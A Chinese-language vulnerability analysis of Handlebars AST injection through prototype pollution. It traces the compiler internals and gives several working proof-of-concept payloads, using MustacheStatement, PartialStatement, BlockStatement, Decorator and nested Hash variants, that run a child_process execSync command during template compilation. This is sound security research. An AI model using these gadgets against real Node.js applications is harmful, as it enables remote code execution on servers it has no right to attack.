详细分析Handlebars AST注入
原理图
handlebars
的parser
在解析NumberLiteral
类型的字符串时会使用Number()
函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串
1 2 3 4 5 6 7 8 case 35 : this .$ = { type : 'StringLiteral' , value : $$[$0 ], original : $$[$0 ], loc : yy.locInfo (this ._$ ) }; break ; case 36 : this .$ = { type : 'NumberLiteral' , value : Number ($$[$0 ]), original : Number ($$[$0 ]), loc : yy.locInfo (this ._$ ) }; break ;
在将AST编译为函数时,handlebars
用pushString
将字符串传到opcode
中,用pushLiteral
将数字和布尔值传入到opcode
中,而这个opcode
就是之后用来构造模板函数的,Literal
类型在AST中表示变量的意思,具体可以参考Esprima语法树标准 ,所以我们下面我们能够利用的类型有NumberLiteral
和BooleanLiteral
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 StringLiteral : function StringLiteral (string ) { this .opcode ('pushString' , string.value ); }, NumberLiteral : function NumberLiteral (number ) { this .opcode ('pushLiteral' , number.value ); }, BooleanLiteral : function BooleanLiteral (bool ) { this .opcode ('pushLiteral' , bool.value ); }, UndefinedLiteral : function UndefinedLiteral ( ) { this .opcode ('pushLiteral' , 'undefined' ); }, opcode : function opcode (name ) { this .opcodes .push ({ opcode : name, args : slice.call (arguments , 1 ), loc : this .sourceNode [0 ].loc }); },
那么我们如何调用这些函数呢,handlebars
在编译语法树时会调用一个叫accept
的函数来处理我们的语法树节点,他会调用node.type
对应的构造函数来修改opcode
,所以我们的重点也可以转换成如何控制accept(node)
中node
值,且保证解析流程正常进行
1 2 3 4 5 6 7 8 9 10 11 12 13 accept : function accept (node ) { if (!this [node.type ]) { throw new _exception2['default' ]('Unknown type: ' + node.type , node); } this .sourceNode .unshift (node); var ret = this [node.type ](node); this .sourceNode .shift (); return ret; },
Payload
原文作者采用的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const Handlebars = require('handlebars' );Object.prototype.type = 'Program' ; Object.prototype.body = [{ "type" : "MustacheStatement" , "path" : 0 , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars.compile(source);console.log(template({}));
大概流程:
将type
修改为Program
绕过Lexer
解析
污染Program
中的body
,注入自定义的AST
在compiler.js
文件中找到可用Gadget
,此Gadget
能够控制accept(node)
中node
值,原文作者利用的是MustacheStatement
漏洞分析 调用栈 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 compiler.js /ret () compiler.js /compileInput () base.js /parse () base.js /parseWithoutProcessing () visitor.js /accept () compiler.js /compile () compiler.js /accept () compiler.js /Program () compiler.js /MustacheStatement () compiler.js /NumberLiteral () <-- 注入payload javascript-compiler.js /compile () javascript-compiler.js /createFunctionContext <-- 生成模板函数体 handlebars.runtime .js /create () runtime.js /ret () runtime.js /executeDecorators () anonymous/templateSpec.main ()
解析入口 1 2 3 4 5 6 7 8 function ret (context, execOptions ) { if (!compiled) { compiled = compileInput (); } return compiled.call (this , context, execOptions); }
解析AST 1 2 3 4 5 6 7 8 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
语法树解析
1 2 3 4 5 6 7 8 function parse (input, options ) { var ast = parseWithoutProcessing (input, options); var strip = new _whitespaceControl2['default' ](options); return strip.accept (ast); }
这里的重点是将input.type
污染为Program
,从而绕过AST的转换阶段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function parseWithoutProcessing (input, options ) { if (input.type === 'Program' ) { return input; } _parser2['default' ].yy = yy; yy.locInfo = function (locInfo ) { return new yy.SourceLocation (options && options.srcName , locInfo); }; var ast = _parser2['default' ].parse (input); return ast; }
这里是递归解析语法树
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 accept : function accept (object ) { if (!object) { return ; } if (!this [object.type ]) { throw new _exception2['default' ]('Unknown type: ' + object.type , object); } if (this .current ) { this .parents .unshift (this .current ); } this .current = object; var ret = this [object.type ](object); this .current = this .parents .shift (); if (!this .mutating || ret) { return ret; } else if (ret !== false ) { return object; } },
编译环境变量 1 2 3 4 5 6 7 8 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 compile : function compile (program, options ) { this .sourceNode = []; this .opcodes = []; this .children = []; this .options = options; this .stringParams = options.stringParams ; this .trackIds = options.trackIds ; options.blockParams = options.blockParams || []; options.knownHelpers = _utils.extend (Object .create (null ), { helperMissing : true , blockHelperMissing : true , each : true , 'if' : true , unless : true , 'with' : true , log : true , lookup : true }, options.knownHelpers ); return this .accept (program); },
1 2 3 4 5 6 7 8 9 10 11 12 13 accept : function accept (node ) { if (!this [node.type ]) { throw new _exception2['default' ]('Unknown type: ' + node.type , node); } this .sourceNode .unshift (node); var ret = this [node.type ](node); this .sourceNode .shift (); return ret; },
第一次node.type
被污染为program
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Program : function Program (program ) { this .options .blockParams .unshift (program.blockParams ); var body = program.body , bodyLength = body.length ; for (var i = 0 ; i < bodyLength; i++) { this .accept (body[i]); } this .options .blockParams .shift (); this .isSimple = bodyLength === 1 ; this .blockParams = program.blockParams ? program.blockParams .length : 0 ; return this ; },
第二次node.type
为自定义的MustacheStatement
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 MustacheStatement : function MustacheStatement (mustache ) { this .SubExpression (mustache); if (mustache.escaped && !this .options .noEscape ) { this .opcode ('appendEscaped' ); } else { this .opcode ('append' ); } }, SubExpression : function SubExpression (sexpr ) { transformLiteralToPath (sexpr); var type = this .classifySexpr (sexpr); if (type === 'simple' ) { this .simpleSexpr (sexpr); } else if (type === 'helper' ) { this .helperSexpr (sexpr); } else { this .ambiguousSexpr (sexpr); } }, helperSexpr : function helperSexpr (sexpr, program, inverse ) { var params = this .setupFullMustacheParams (sexpr, program, inverse), path = sexpr.path , name = path.parts [0 ]; if (this .options .knownHelpers [name]) { this .opcode ('invokeKnownHelper' , params.length , name); } else if (this .options .knownHelpersOnly ) { throw new _exception2['default' ]('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr); } else { path.strict = true ; path.falsy = true ; this .accept (path); this .opcode ('invokeHelper' , params.length , path.original , _ast2['default' ].helpers .simpleId (path)); } }, setupFullMustacheParams : function setupFullMustacheParams (sexpr, program, inverse, omitEmpty ) { var params = sexpr.params ; this .pushParams (params); this .opcode ('pushProgram' , program); this .opcode ('pushProgram' , inverse); if (sexpr.hash ) { this .accept (sexpr.hash ); } else { this .opcode ('emptyHash' , omitEmpty); } return params; }, pushParams : function pushParams (params ) { for (var i = 0 , l = params.length ; i < l; i++) { this .pushParam (params[i]); } }, pushParam : function pushParam (val ) { var value = val.value != null ? val.value : val.original || '' ; if (this .stringParams ) { if (value.replace ) { value = value.replace (/^(\.?\.\/)*/g , '' ).replace (/\//g , '.' ); } if (val.depth ) { this .addDepth (val.depth ); } this .opcode ('getContext' , val.depth || 0 ); this .opcode ('pushStringParam' , value, val.type ); if (val.type === 'SubExpression' ) { this .accept (val); } } else { if (this .trackIds ) { var blockParamIndex = undefined ; if (val.parts && !_ast2['default' ].helpers .scopedId (val) && !val.depth ) { blockParamIndex = this .blockParamIndex (val.parts [0 ]); } if (blockParamIndex) { var blockParamChild = val.parts .slice (1 ).join ('.' ); this .opcode ('pushId' , 'BlockParam' , blockParamIndex, blockParamChild); } else { value = val.original || value; if (value.replace ) { value = value.replace (/^this(?:\.|$)/ , '' ).replace (/^\.\// , '' ).replace (/^\.$/ , '' ); } this .opcode ('pushId' , val.type , value); } } this .accept (val); } },
第三次node.type
为NumberLiteral
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 StringLiteral : function StringLiteral (string ) { this .opcode ('pushString' , string.value ); }, NumberLiteral : function NumberLiteral (number ) { this .opcode ('pushLiteral' , number.value ); }, BooleanLiteral : function BooleanLiteral (bool ) { this .opcode ('pushLiteral' , bool.value ); }, UndefinedLiteral : function UndefinedLiteral ( ) { this .opcode ('pushLiteral' , 'undefined' ); },
后面还有一系列对opcode
的操作,均为MustacheStatement
语法树的编译过程,下图是编译好MustacheStatement
语法树之后opcodes
的全部操作,而我们的payload就被注入了第一个
编译模板 1 2 3 4 5 6 7 8 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 compile : function compile (environment, options, context, asObject ) { this .environment = environment; this .options = options; this .stringParams = this .options .stringParams ; this .trackIds = this .options .trackIds ; this .precompile = !asObject; this .name = this .environment .name ; this .isChild = !!context; this .context = context || { decorators : [], programs : [], environments : [] }; this .preamble (); this .stackSlot = 0 ; this .stackVars = []; this .aliases = {}; this .registers = { list : [] }; this .hashes = []; this .compileStack = []; this .inlineStack = []; this .blockParams = []; this .compileChildren (environment, options); this .useDepths = this .useDepths || environment.useDepths || environment.useDecorators || this .options .compat ; this .useBlockParams = this .useBlockParams || environment.useBlockParams ; var opcodes = environment.opcodes , opcode = undefined , firstLoc = undefined , i = undefined , l = undefined ; for (i = 0 , l = opcodes.length ; i < l; i++) { opcode = opcodes[i]; this .source .currentLocation = opcode.loc ; firstLoc = firstLoc || opcode.loc ; this [opcode.opcode ].apply (this , opcode.args ); } this .source .currentLocation = firstLoc; this .pushSource ('' ); if (this .stackSlot || this .inlineStack .length || this .compileStack .length ) { throw new _exception2['default' ]('Compile completed with content left on stack' ); } if (!this .decorators .isEmpty ()) { this .useDecorators = true ; this .decorators .prepend (['var decorators = container.decorators, ' , this .lookupPropertyFunctionVarDeclaration (), ';\n' ]); this .decorators .push ('return fn;' ); if (asObject) { this .decorators = Function .apply (this , ['fn' , 'props' , 'container' , 'depth0' , 'data' , 'blockParams' , 'depths' , this .decorators .merge ()]); } else { this .decorators .prepend ('function(fn, props, container, depth0, data, blockParams, depths) {\n' ); this .decorators .push ('}\n' ); this .decorators = this .decorators .merge (); } } else { this .decorators = undefined ; } var fn = this .createFunctionContext (asObject); if (!this .isChild ) { var ret = { compiler : this .compilerInfo (), main : fn }; if (this .decorators ) { ret.main_d = this .decorators ; ret.useDecorators = true ; } var _context = this .context ; var programs = _context.programs ; var decorators = _context.decorators ; for (i = 0 , l = programs.length ; i < l; i++) { if (programs[i]) { ret[i] = programs[i]; if (decorators[i]) { ret[i + '_d' ] = decorators[i]; ret.useDecorators = true ; } } } if (this .environment .usePartial ) { ret.usePartial = true ; } if (this .options .data ) { ret.useData = true ; } if (this .useDepths ) { ret.useDepths = true ; } if (this .useBlockParams ) { ret.useBlockParams = true ; } if (this .options .compat ) { ret.compat = true ; } if (!asObject) { ret.compiler = JSON .stringify (ret.compiler ); this .source .currentLocation = { start : { line : 1 , column : 0 } }; ret = this .objectLiteral (ret); if (options.srcName ) { ret = ret.toStringWithSourceMap ({ file : options.destName }); ret.map = ret.map && ret.map .toString (); } else { ret = ret.toString (); } } else { ret.compilerOptions = this .options ; } return ret; } else { return fn; } },
执行opcode
中pushLiteral
的具体实现流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pushLiteral : function pushLiteral (value ) { this .pushStackLiteral (value); }, pushStackLiteral : function pushStackLiteral (item ) { this .push (new Literal (item)); }, function Literal (value ) { this .value = value; } push : function push (expr ) { if (!(expr instanceof Literal )) { expr = this .source .wrap (expr); } this .inlineStack .push (expr); return expr; },
在执行最后的append
操作的时候会将inlineStack
中的内容pop出来加入到Source
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 append : function append ( ) { if (this .isInline ()) { this .replaceStack (function (current ) { return [' != null ? ' , current, ' : ""' ]; }); this .pushSource (this .appendToBuffer (this .popStack ())); } else { var local = this .popStack (); this .pushSource (['if (' , local, ' != null) { ' , this .appendToBuffer (local, undefined , true ), ' }' ]); if (this .environment .isSimple ) { this .pushSource (['else { ' , this .appendToBuffer ("''" , undefined , true ), ' }' ]); } } },
这里是创建函数体上下文,将source
中的东西转换成字符串函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 createFunctionContext : function createFunctionContext (asObject ) { var _this = this ; var varDeclarations = '' ; var locals = this .stackVars .concat (this .registers .list ); if (locals.length > 0 ) { varDeclarations += ', ' + locals.join (', ' ); } var aliasCount = 0 ; Object .keys (this .aliases ).forEach (function (alias ) { var node = _this.aliases [alias]; if (node.children && node.referenceCount > 1 ) { varDeclarations += ', alias' + ++aliasCount + '=' + alias; node.children [0 ] = 'alias' + aliasCount; } }); if (this .lookupPropertyFunctionIsUsed ) { varDeclarations += ', ' + this .lookupPropertyFunctionVarDeclaration (); } var params = ['container' , 'depth0' , 'helpers' , 'partials' , 'data' ]; if (this .useBlockParams || this .useDepths ) { params.push ('blockParams' ); } if (this .useDepths ) { params.push ('depths' ); } var source = this .mergeSource (varDeclarations); if (asObject) { params.push (source); return Function .apply (this , params); } else { return this .source .wrap (['function(' , params.join (',' ), ') {\n ' , source, '}' ]); } },
生成模板 1 2 3 4 5 6 7 8 function compileInput ( ) { var ast = env.parse (input, options), environment = new env.Compiler ().compile (ast, options), templateSpec = new env.JavaScriptCompiler ().compile (environment, options, undefined , true ); return env.template (templateSpec); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function create ( ) { var hb = new base.HandlebarsEnvironment (); Utils .extend (hb, base); hb.SafeString = _handlebarsSafeString2['default' ]; hb.Exception = _handlebarsException2['default' ]; hb.Utils = Utils ; hb.escapeExpression = Utils .escapeExpression ; hb.VM = runtime; hb.template = function (spec ) { return runtime.template (spec, hb); }; return hb; }
模板函数执行 1 2 3 4 5 6 7 8 function ret (context, execOptions ) { if (!compiled) { compiled = compileInput (); } return compiled.call (this , context, execOptions); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function ret (context ) { var options = arguments .length <= 1 || arguments [1 ] === undefined ? {} : arguments [1 ]; var data = options.data ; ret._setup (options); if (!options.partial && templateSpec.useData ) { data = initData (context, data); } var depths = undefined , blockParams = templateSpec.useBlockParams ? [] : undefined ; if (templateSpec.useDepths ) { if (options.depths ) { depths = context != options.depths [0 ] ? [context].concat (options.depths ) : options.depths ; } else { depths = [context]; } } function main (context ) { return '' + templateSpec.main (container, context, container.helpers , container.partials , data, blockParams, depths); } main = executeDecorators (templateSpec.main , main, container, options.depths || [], data, blockParams); return main (context, options); }
被污染的函数 1 2 3 4 5 6 7 8 9 10 11 12 (function anonymous (container,depth0,helpers,partials,data ) { var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName ) { if (Object .prototype .hasOwnProperty .call (parent, propertyName)) { return parent[propertyName]; } return undefined }; return ((stack1 = (lookupProperty (helpers,"undefined" )||(depth0 && lookupProperty (depth0,"undefined" ))||container.hooks .helperMissing ).call (depth0 != null ? depth0 : (container.nullContext || {}),console .log (process.mainModule .require ('child_process' ).execSync ('calc.exe' ).toString ()),{"name" :"undefined" ,"hash" :{},"data" :data,"loc" :{"start" :0 ,"end" :0 }})) != null ? stack1 : "" ); })
总结
漏洞核心在于污染编译过程中的pushLiteral
操作,其中可以用到NumberLiteral
类型和BooleanLiteral
类型
令type
为Program
绕过Lexer
解析器,从compiler.js
找到可用的Gadget
在寻找Gadget
时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement
类型注入我们的payload,而不能直接将NumberLiteral
注入到body
中
1 2 3 4 if (this .stackSlot || this .inlineStack .length || this .compileStack .length ) { throw new _exception2['default' ]('Compile completed with content left on stack' ); }
拓展 BooleanLiteral 将NumberLiteral
替换为BooleanLiteral
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "MustacheStatement" , "params" : [{ "type" : "BooleanLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "path" : 0 , "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
PartialStatement 将MustacheStatement
改为PartialStatement
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "PartialStatement" , "name" : "" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }] }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
PartialBlockStatement 将MustacheStatement
改为PartialBlockStatement
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "PartialBlockStatement" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "name" : 0 , "openStrip" : 0 , "closeStrip" : 0 , "program" : { "body" : 0 }, }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
BlockStatement 将MustacheStatement
改为BlockStatement
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "BlockStatement" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "path" : 0 , "loc" : 0 , "openStrip" : 0 , "closeStrip" : 0 , "program" : { "body" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
Decorator 触发点和上面的有所差异,这个是在装饰main
函数的时候插入自定义代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "Decorator" , "params" : [{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }], "path" : 0 , "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
inf Hash 无限内嵌Hash
类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const Handlebars = require ('handlebars' );Object .prototype .type = 'Program' ;Object .prototype .body = [{ "type" : "MustacheStatement" , "params" : [{ "type" : "Hash" , "pairs" : [{ "value" :{ "type" : "Hash" , "pairs" : [{ "value" :{ "type" : "NumberLiteral" , "value" : "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())" }}] }}] }], "path" : 0 , "loc" : { "start" : 0 } }]; var source = "<h1>It works!</h1>" ;var template = Handlebars .compile (source);console .log (template ({}));
参考 https://blog.p6.is/AST-Injection/